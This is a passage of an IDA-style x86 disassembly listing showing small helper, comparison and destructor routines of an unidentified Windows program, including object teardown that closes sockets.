		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0820	proc near		; CODE XREF: sub_13AC2A1j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_13AB58B
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_13C0820	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0850	proc near		; CODE XREF: sub_13AB84Cj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_13C0850	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0880	proc near		; CODE XREF: sub_13AB504j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_13C0880	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C08A0	proc near		; CODE XREF: sub_13AC4D6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_13AC116
		add	esp, 8
		retn	4
sub_13C08A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C08D0	proc near		; CODE XREF: sub_13AC201j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	near ptr 13E0C02h
		pop	ecx
		retn	8
sub_13C08D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C08F0	proc near		; CODE XREF: sub_13AC594j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_13AB65D
		add	esp, 8
		retn	8
sub_13C08F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0920	proc near		; CODE XREF: sub_13AB8F6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_4
		pop	ecx
		retn	4
sub_13C0920	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0940	proc near		; CODE XREF: sub_13ABB53j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_13C0940	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0960	proc near		; CODE XREF: sub_13ABE4Bj
		mov	eax, [ecx]
		push	eax
		call	sub_13AC2FB
		add	esp, 4
		retn
sub_13C0960	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0980	proc near		; CODE XREF: sub_13AC4EFj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_13AC48B
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_13C0980	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C09B0	proc near		; CODE XREF: sub_13AC0A8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_13AC256
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_13C09B0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C09E0	proc near		; CODE XREF: sub_13AC04Ej
		mov	eax, [ecx]
		retn
sub_13C09E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0A00	proc near		; CODE XREF: sub_13AB563j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_13C0A00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0A20	proc near		; CODE XREF: sub_13AB9A5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_13AC116
		add	esp, 8
		retn	4
sub_13C0A20	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0A50	proc near		; CODE XREF: sub_13AB4D7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	near ptr 13E0C02h
		pop	ecx
		retn	8
sub_13C0A50	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0A70	proc near		; CODE XREF: sub_13AB9E6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_13AC440
		add	esp, 8
		retn	8
sub_13C0A70	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0AA0	proc near		; CODE XREF: sub_13AC14Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_3
		pop	ecx
		retn	4
sub_13C0AA0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0AC0	proc near		; CODE XREF: sub_13AB757j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_13C0AC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0AE0	proc near		; CODE XREF: sub_13AC36Ej
		mov	eax, [ecx]
		retn
sub_13C0AE0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0B00	proc near		; CODE XREF: sub_13ABBD5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_13C0B00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0B20	proc near		; CODE XREF: sub_13AC29Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_13AC116
		add	esp, 8
		retn	4
sub_13C0B20	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0B50	proc near		; CODE XREF: sub_13ABC57j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	near ptr 13E0C02h
		pop	ecx
		retn	8
sub_13C0B50	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0B70	proc near		; CODE XREF: sub_13AC1FCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_13AC4CC
		add	esp, 8
		retn	8
sub_13C0B70	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0BA0	proc near		; CODE XREF: sub_13AB7F7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_8
		pop	ecx
		retn	4
sub_13C0BA0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0BC0	proc near		; CODE XREF: sub_13ABA0Ej

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_13C0BC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0BE0	proc near		; CODE XREF: sub_13AB6CBj
		mov	eax, [ecx]
		retn
sub_13C0BE0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0C00	proc near		; CODE XREF: sub_13AC256j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_13C0C00	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0C30	proc near		; CODE XREF: sub_13AB65Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_13AB5CC
		add	esp, 8
		test	eax, eax
		jz	short locret_13C0C4B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_13C0C4B:				; CODE XREF: sub_13C0C30+11j
		retn
sub_13C0C30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0C80	proc near		; CODE XREF: sub_13AC440j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_13AB5CC
		add	esp, 8
		test	eax, eax
		jz	short locret_13C0C9B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_13C0C9B:				; CODE XREF: sub_13C0C80+11j
		retn
sub_13C0C80	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0CD0	proc near		; CODE XREF: sub_13AC4CCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_13AB5CC
		add	esp, 8
		test	eax, eax
		jz	short locret_13C0CEB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_13C0CEB:				; CODE XREF: sub_13C0CD0+11j
		retn
sub_13C0CD0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr	db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌè',1Bh,0
		align 4
		dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 447168B9h
		dd 0B4F8E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
		dd 41698068h, 0FF7CE800h, 0C3590001h, 90909090h, 4 dup(0CCCCCCCCh)
		dd 447168B9h, 0B2BAE900h, 9090FFFEh, 90909090h,	4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C0DA0	proc near		; CODE XREF: sub_13AC044j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43A001h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, dword_9E3983[esi]
		mov	[esp+14h+var_4], 1Ah
		call	sub_13AC5DA
		lea	ecx, dword_9E396C[esi]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_13AB626
		lea	ecx, dword_9E3957[esi]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_13AB626
		lea	ecx, dword_9E3942[esi]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_13AB626
		lea	ecx, dword_9E392D[esi]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_13AB626
		lea	ecx, dword_9E3842[esi]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_13AC2E2
		lea	ecx, dword_9E3831[esi]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_13ABB6C
		lea	ecx, dword_9E37FF[esi]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_13AC3F5
		lea	ecx, dword_9E37CD[esi]
		mov	byte ptr [esp+14h+var_4], 12h
		call	sub_13AC1ED
		lea	ecx, dword_9E3793[esi]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_13ABC7A
		lea	ecx, dword_9E3705[esi]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_13AB513
		lea	ecx, dword_9E36D3[esi]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_13AC328
		lea	ecx, dword_9E3673[esi]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_13ABF27
		lea	ecx, dword_9E3613[esi]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_13ABBD0
		lea	ecx, dword_9D30BF[esi]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_13ABCCA
		lea	ecx, dword_9D2FA2[esi]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_13AC2B0
		lea	ecx, dword_9D2E85[esi]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_13AC616
		lea	ecx, dword_9D2E70[esi]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_13ABBA3
		lea	ecx, dword_9D2E47[esi]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_13ABE23
		lea	ecx, dword_9D2B5D[esi]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_13AB7C0
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_13AB635
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_13AC283
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_13AB8F1
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_13ABEE6
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13AC08F
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13ABD29
		lea	ecx, [esi+3Eh]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_13AB83D
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_13AB662
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C0DA0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C1010	proc near		; CODE XREF: sub_13ABE23j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+15h]
		mov	dword ptr [esi], offset	dword_43E050
		test	eax, eax
		jle	short loc_13C1027
		push	eax
		call	closesocket	; closesocket


loc_13C1027:				; CODE XREF: sub_13C1010+Ej
		mov	ecx, esi
		call	sub_13AC431
		pop	esi
		retn
sub_13C1010	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C1040	proc near		; CODE XREF: sub_13AB66Cj sub_13ABDBFj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13ABE23
		test	[esp+4+arg_0], 1
		jz	short loc_13C1058
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13C1058:				; CODE XREF: sub_13C1040+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13C1040	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C1070	proc near		; CODE XREF: sub_13ABBA3j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+11h]
		mov	dword ptr [esi], offset	dword_43E05C
		test	eax, eax
		jle	short loc_13C1087
		push	eax
		call	closesocket	; closesocket


loc_13C1087:				; CODE XREF: sub_13C1070+Ej
		mov	ecx, esi
		call	sub_13AC431
		pop	esi
		retn
sub_13C1070	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C10A0	proc near		; CODE XREF: sub_13ABA27j sub_13AC099j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13ABBA3
		test	[esp+4+arg_0], 1
		jz	short loc_13C10B8
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13C10B8:				; CODE XREF: sub_13C10A0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13C10A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C10D0	proc near		; CODE XREF: sub_13ABB6Cj
		mov	dword ptr [ecx], offset	dword_43E068
		jmp	sub_13AC431
sub_13C10D0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C10F0	proc near		; CODE XREF: sub_13ABD1Aj sub_13AC58Aj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13ABB6C
		test	[esp+4+arg_0], 1
		jz	short loc_13C1108
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13C1108:				; CODE XREF: sub_13C10F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13C10F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C1120	proc near		; CODE XREF: sub_13ABC7Aj
		mov	dword ptr [ecx], offset	dword_43E074
		add	ecx, 4
		jmp	sub_13AB423
sub_13C1120	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C1140	proc near		; CODE XREF: sub_13AC242j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43A1E1h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_13AC49F
		lea	ecx, [esi+3Eh]
		mov	[esp+18h+var_4], 0
		call	sub_13AB9DC
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+18h+var_4], 1
		call	sub_13AB69E
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_13AC3FA
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+18h+var_4], 3
		call	sub_13ABDF1
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+18h+var_4], 4
		call	sub_13AB97D
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+18h+var_4], 5
		call	sub_13ABA45
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+18h+var_4], 6
		call	sub_13ABB76
		lea	ecx, dword_9D2B5D[esi]
		mov	byte ptr [esp+18h+var_4], 7
		call	sub_13ABA95
		lea	ecx, dword_9D2E47[esi]
		mov	byte ptr [esp+18h+var_4], 8
		call	sub_13ABC20
		lea	ecx, dword_9D2E70[esi]
		mov	byte ptr [esp+18h+var_4], 9
		call	sub_13ABAB3
		lea	ecx, dword_9D2E85[esi]
		mov	byte ptr [esp+18h+var_4], 0Ah
		call	sub_13AB815
		lea	ecx, dword_9D2FA2[esi]
		mov	byte ptr [esp+18h+var_4], 0Bh
		call	sub_13AB702
		lea	ecx, dword_9D30BF[esi]
		mov	byte ptr [esp+18h+var_4], 0Ch
		call	sub_13AB671
		lea	ecx, dword_9D311F[esi]
		mov	byte ptr [esp+18h+var_4], 0Dh
		call	sub_13AC111
		lea	ecx, dword_9E3613[esi]
		call	sub_13AB6FD
		lea	ecx, dword_9E3673[esi]
		mov	byte ptr [esp+18h+var_4], 0Eh
		call	sub_13ABE7D
		lea	ecx, dword_9E36D3[esi]
		mov	byte ptr [esp+18h+var_4], 0Fh
		call	sub_13AB685
		lea	ecx, dword_9E3705[esi]
		mov	byte ptr [esp+18h+var_4], 10h
		call	sub_13AC0A3
		lea	ecx, dword_9E3793[esi]
		mov	byte ptr [esp+18h+var_4], 11h
		call	sub_13AC503
		mov	byte ptr [esp+18h+var_4], 12h
		lea	ecx, dword_9E37CD[esi]
		call	sub_13AB973
		lea	ecx, dword_9E37FF[esi]
		mov	byte ptr [esp+18h+var_4], 13h
		call	sub_13ABB8F
		lea	ecx, dword_9E3831[esi]
		mov	byte ptr [esp+18h+var_4], 14h
		call	sub_13AB469
		lea	ecx, dword_9E3842[esi]
		mov	byte ptr [esp+18h+var_4], 15h
		call	sub_13AB473
		lea	ecx, dword_9E392D[esi]
		mov	byte ptr [esp+18h+var_4], 16h
		call	sub_13AB824
		lea	ecx, dword_9E3942[esi]
		mov	byte ptr [esp+18h+var_4], 17h
		call	sub_13AB824
		lea	ecx, dword_9E3957[esi]
		mov	byte ptr [esp+18h+var_4], 18h
		call	sub_13AB824
		lea	ecx, dword_9E396C[esi]
		mov	byte ptr [esp+18h+var_4], 19h
		call	sub_13AB824
		lea	eax, [esp+18h+var_11]
		lea	ecx, dword_9E3983[esi]
		push	eax
		mov	byte ptr [esp+1Ch+var_4], 1Ah
		call	sub_13ABEFA
		mov	ecx, [esp+1Ch+var_10]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
sub_13C1140	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C13C0	proc near		; CODE XREF: sub_13AB662j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43A25Bh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_13ABF09
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_13AB423
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C13C0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C1430	proc near		; CODE XREF: sub_13ABD29j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43A5C0h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+179Fh]
		mov	[esp+14h+var_4], 3Ch
		call	sub_13AC46D
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_13AC46D
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_13AC46D
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_13AC46D
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_13AC46D
		mov	byte ptr [esp+14h+var_4], 37h
		lea	ecx, [esi+0E51h]
		call	sub_13AB423
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_13AB423
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_13AB423
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_13AB423
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_13AB423
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_13AB423
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_13AB423
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_13AB423
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_13AB423
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_13AB423
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_13AB423
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_13AB423
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_13AB423
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_13AB423
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_13AB423
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_13AB423
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_13AB423
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_13ABED2
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_13ABED2
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_13ABED2
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_13ABED2
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_13ABED2
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_13ABED2
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_13ABED2
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_13ABED2
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_13ABED2
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_13ABED2
		mov	byte ptr [esp+14h+var_4], 1Ch
		lea	ecx, [esi+84Eh]
		call	sub_13ABED2
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_13ABED2
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_13ABED2
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_13ABED2
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_13ABED2
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_13ABED2
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_13ABED2
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_13ABED2
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_13ABED2
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_13ABED2
		lea	ecx, [esi+574h]
		mov	byte ptr [esp+14h+var_4], 12h
		call	sub_13ABED2
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_13ABED2
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_13ABED2
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_13ABED2
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_13ABED2
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_13ABED2
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_13ABED2
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_13ABED2
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_13ABED2
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_13ABED2
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_13ABED2
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
